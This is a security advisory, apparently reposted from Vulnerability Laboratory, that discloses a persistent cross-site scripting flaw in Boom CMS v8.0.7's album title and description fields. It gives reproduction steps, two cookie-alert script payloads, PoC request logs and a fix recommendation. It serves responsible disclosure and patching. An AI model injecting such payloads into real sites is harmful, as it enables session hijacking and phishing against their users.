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# Exploit Title: Boom CMS v8.0.7 - Cross Site Scripting References (Source): https://www.vulnerability-lab.com/get_content.php?id=2274 Release Date: 2023-07-03 Vulnerability Laboratory ID (VL-ID): 2274 Product & Service Introduction: =============================== Boom is a fully featured, easy to use CMS. More than 10 years, and many versions later, Boom is an intuitive, WYSIWYG CMS that makes life easy for content editors and website managers. Working with BoomCMS is simple. It's easy and quick to learn and start creating content. It gives editors control but doesn't require any technical knowledge. (Copy of the Homepage:https://www.boomcms.net/boom-boom ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Boom CMS v8.0.7 web-application. Affected Product(s): ==================== UXB London Product: Boom v8.0.7 - Content Management System (Web-Application) Vulnerability Disclosure Timeline: ================================== 2022-07-24: Researcher Notification & Coordination (Security Researcher) 2022-07-25: Vendor Notification (Security Department) 2023-**-**: Vendor Response/Feedback (Security Department) 2023-**-**: Vendor Fix/Patch (Service Developer Team) 2023-**-**: Security Acknowledgements (Security Department) 2023-07-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent script code injection web vulnerability has been discovered in the official Boom CMS v8.0.7 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerability is located in the input fields of the album title and album description in the asset-manager module. Attackers with low privileges are able to add own malformed albums with malicious script code in the title and description. After the inject the albums are being displayed in the backend were the execute takes place on preview of the main assets. The attack vector of the vulnerability is persistent and the request method to inject is post. The validation tries to parse the content by usage of a backslash. Thus does not have any impact to inject own malicious java-scripts because of its only performed for double- and single-quotes to prevent sql injections. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] assets-manager (album) Vulnerable Function(s): [+] add Vulnerable Parameter(s): [+] title [+] description Affected Module(s): [+] Frontend (Albums) [+] Backend (Albums Assets) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Login to the application as restricted user 2. Create a new album 3. Inject a test script code payload to title and description 4. Save the request 5. Preview frontend (albums) and backend (assets-manager & albums listing) to provoke the execution 6. Successful reproduce of the persistent cross site web vulnerability! Payload(s): ><script>alert(document.cookie)</script><div style=1 <a onmouseover=alert(document.cookie)>test</a> --- PoC Session Logs (Inject) --- https://localhost:8000/boomcms/album/35 Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 263 Origin:https://localhost:8000 Connection: keep-alive Referer:https://localhost:8000/boomcms/asset-manager/albums/[evil.source] Sec-Fetch-Site: same-origin {"asset_count":1,"id":35,"name":""><[INJECTED SCRIPT CODE PAYLOAD 1!]>","description":""><[INJECTED SCRIPT CODE PAYLOAD 2!]>", "slug":"a","order":null,"site_id":1,"feature_image_id":401,"created_by":9,"deleted_by" :null,"deleted_at":null,"created_at":"2021-xx-xx xx:x:x","updated_at":"2021-xx-xx xx:x:x"} - PUT: HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache, private Set-Cookie: Max-Age=7200; path=/ Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED; Max-Age=7200; path=/; httponly Content-Length: 242 Connection: Keep-Alive Content-Type: application/json - https://localhost:8000/boomcms/asset-manager/albums/[evil.source] Host: localhost:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED; - GET: HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache, private Set-Cookie: Vary: Accept-Encoding Content-Length: 7866 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 - Vulnerable Source: asset-manager/albums/[ID] <li data-album="36"> <a href="https://www.exploit-db.com/exploits/51612/#albums/20"> <div> <h3>[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]</h3> <p class="description">"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p> <p class='count'><span>0</span> assets</p> </div> </a> </li> </iframe></p></div></a></li></ul></div></div> </div> <div id="b-assets-view-asset-container"></div> <div id="b-assets-view-selection-container"></div> <div id="b-assets-view-album-container"><div><div id="b-assets-view-album"> <div class="heading"> <h1 class="bigger b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]></h1> <p class="description b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p> </div> Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable title and description parameters. Restrict the input fields and disallow usage of special chars. Sanitize the output listing location to prevent further attacks. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab |
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